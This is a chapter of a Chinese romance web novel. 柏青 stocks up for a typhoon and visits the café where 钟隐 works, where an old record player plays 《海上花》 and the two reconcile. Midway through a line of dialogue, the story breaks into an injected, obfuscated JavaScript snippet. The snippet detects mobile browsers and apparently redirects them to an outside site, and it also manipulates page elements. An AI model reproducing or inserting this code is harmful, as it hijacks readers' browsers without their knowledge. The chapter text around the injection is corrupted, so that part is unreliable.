柏青注意到，为了迎接台风天的到来，街道边的行道树都多多少少进行了修剪。
他开车路过钱叔烧烤摊的位置，那一棵茂盛的榕树正在被人仔细地修剪去粗壮的枝条——每年都会经历这一遭，他拍了照片发给钟隐。
“能在台风天里活下来就好了。”钟隐说。
的确，对于这些在天日里毫无遮蔽生长的草木来说，生存才是第一要义。
钟隐仍然上晚班，上到两天后，台风正式登陆。
柏青这无所事事的闲人，自然承担起了为台风天囤货的重任，当然钟隐还是给他仔细列了一张长长的购物表，去哪里买什么都标注得一清二楚，把柏青完全当作第一次出门帮家里跑腿的小朋友。
年长半岁真是了不起啊。
柏青按照指引，在菜市场游荡一圈，拎了两手满满当当的海鲜蔬菜，把食材放进车后备箱的空档，他又一次认真地看了钟隐写的购物单，相比早些年，钟隐的字迹更温润了些，特别是撇捺的边缘，不像当初如刀刃般的锋利。
小的时候，柏青被母亲请来的书法老师挟持着练大字，老师喋喋不休地向柏青阐述“字如其人”的道理，而柏青向来对此嗤之以鼻。
他对书写的态度很随意，想写好的时候能拿下市书法大赛的冠军，不想写好的时候就如同鸡刨食鬼画符，但这都不影响他长什么样子，他模样是母亲给的，或许老头子做出了一点点微不足道的贡献，那也不重要。
认识钟隐后，他发觉钟隐是他老师口中的好孩子，表里如一，字如其人。
年轻时犯倔不承认，但钟隐的表里如一确确实实带给他无上的安全感。
“假期结束，我还是不会很有空……你没关系吧？”柏青这样问过钟隐。
钟隐的回答坦然又沉静：“啊，没事，我也没空。”
好吧……好吧。
柏青摩挲着字迹温润的边缘，心想这才是钟隐。
*
“我东西都买好了，该冷冻的冷冻，该冷藏的冷藏。”
傍晚，柏青到咖啡店的吧台前，向钟隐汇报工作。
他将清单的每一项都划了勾，递给了吧台后的钟隐。
今天钟隐跟老何搭晚班，小何是早班，还有十分钟下班，见柏青过来，熟练地给他递了杯柠檬水，而后退到老何旁边，专注地探头探脑。
老何调试着一台复古的唱片机，柏青向钟隐汇报完，就忍不住问了一嘴。
老何回答说是他隔壁邻居送来的老玩意儿。
“我家隔音不好，想着拿到店里来，等清闲的时候调一调。”
“叔，你确定这老古董还能响吗？”小何百无聊赖地问。
“你要不在一边捣乱，早响了。”老何小心翼翼地再次挪动唱片的位置，按下了金属的开关。
柏青听到了轻微的“咔哒”声，随即斑驳的黑唱片徐徐旋转，磕磕绊绊地唱起来：
“是这般奇情的你，粉碎我的梦想……”
罗大佑的《海上花》。
小何托着下巴评价：“曲子好听，就是歌手有点公鸭嗓。”
老何失笑：“我们罗大佑粉丝只是老了，不是死了。”
柏青也没忍住笑，添油加醋说：“如果是《海上花》这首，我更喜欢听蔡琴那一版。”
“唉，跟你们这些小年轻没话讲。”老何装模作样地叹气。
柏青偷偷瞥着钟隐，他表面上关注着老何的唱片机，实际一直用余光扫着钟隐。
钟隐对他的汇报没多大反应，淡淡地应了声：“知道了。”
这会儿把清单折好塞进口袋，垂眼用抹布擦着没有一丝灰尘的吧台。
唱片机磕磕巴巴地唱：
“仿佛像水面泡沫的短暂光亮，是我的一生。”
柏青觉得这句歌词写得极有意思，学生时代他用深蓝色的墨水在日记本的扉页誊抄，不过那本子早就找不见。
曲子也像水面的波纹缓缓扩散开，他曾经扒过谱，练习箫管的闲暇，偶尔吹起这首曲子。
不知道他给钟隐吹过没有，仔细计较起来，他给钟隐没吹过几次箫管。
小何听完《海上花》，准备收拾东西走人，老何跟她有一句没一句地聊，叔侄俩站到了吧台的另一边，给守在咖啡机旁的钟隐和柏青留出了私聊的空间。
不知道是有意还是无意的。
但柏青在他们面前给钟隐递清单，说着东西都买齐了的亲昵话语，是有意让他们听到的。
柏青有点惊讶，钟隐没有做太大的反应，或许真的被老何的唱片机吸引了注意力。
“晚上吃啥？”柏青问。
“牛肉粉。”钟隐回答。
“你已经吃了一周的牛肉粉了。”柏青由衷地说。
“如果可以，我能吃到他家倒闭。”钟隐说。
好吧，谁让柏青也喜欢那家牛肉粉。
“那我去店里点好拎回来。”柏青说。
“也不用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532554|186411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
省点外卖的那几个钱。”钟隐说。
小何收拾好东西，离开前跟他们打招呼：“走了啊，哥。”
“走吧走吧，记得打卡。”老何接茬催促。
柏青适时地摆手，钟隐说：“路上小心。”
“也不是为了省钱，我自己想去走走。”柏青没忘记自己这茬。
钟隐对上他的眼睛：“我以为你更想陪我。”
“你又没这意思。”柏青挤出一丝笑。
这话有点过分了，柏青咬了咬舌尖。
钟隐叹气，默默地低头，把那光滑的台面擦了又擦。
柏青起身，端着只喝了一口的柠檬水，踱步到了窗边的卡座。
他坐一会儿，就出门买牛肉粉，到时候多加点儿钱，让老板多放几颗丸子，再卧个煎蛋。
老何的唱片机还在咿咿呀呀地唱《海上花》，这大概是第三遍了，老何意识到不对，又在笨手笨脚地调试。
钟隐丢下了抹布，弯腰在储物柜里翻找，柏青眼尖地瞥到，他拿出了巧克力酱和牛奶。
我是那么好哄的人吗？柏青一口气喝完柠檬水。
钟隐果不其然送来了巧克力奶。
“喝完再去。”钟隐把杯子递到了他手边。
柏青不是不识趣的人，给了彼此一个台阶：“啊，这是我认真采购后的奖励？”
“你要喜欢，可以是。”钟隐说。
老何还没将唱片机驯服，罗大佑沙哑的嗓音漫过了傍晚时分少人的咖啡店。
“睡梦成真，转身浪已汹涌没红尘
残留水纹，空留遗恨
愿只愿他生”
钟隐在这歌声里缓缓开口，带着点怀念地，灰眼睛里闪烁着微光：“我第一次见你，你吹的好像就是这首曲子。”
“真没想到，是这首曲子。”
柏青愣了一瞬。
被钟隐反复描述的黄昏终于实质地在他脑海里展开了画面。
终于真正地成为了他的回忆。
“啊，是这首曲子。”柏青喃喃。
钟隐笑了：“记得吹给我听。”
所以柏青在跟钟隐闹什么别扭呢？
明明他也没有做好。
“阿隐，我……”柏青欲言又止。
钟隐给了他台阶：“你不想吹？”
柏青话音顺畅了些：“我非常想。”
没有人看过来，钟隐伸手理了理柏青耳边坠子的流苏，而后揉了揉他发顶。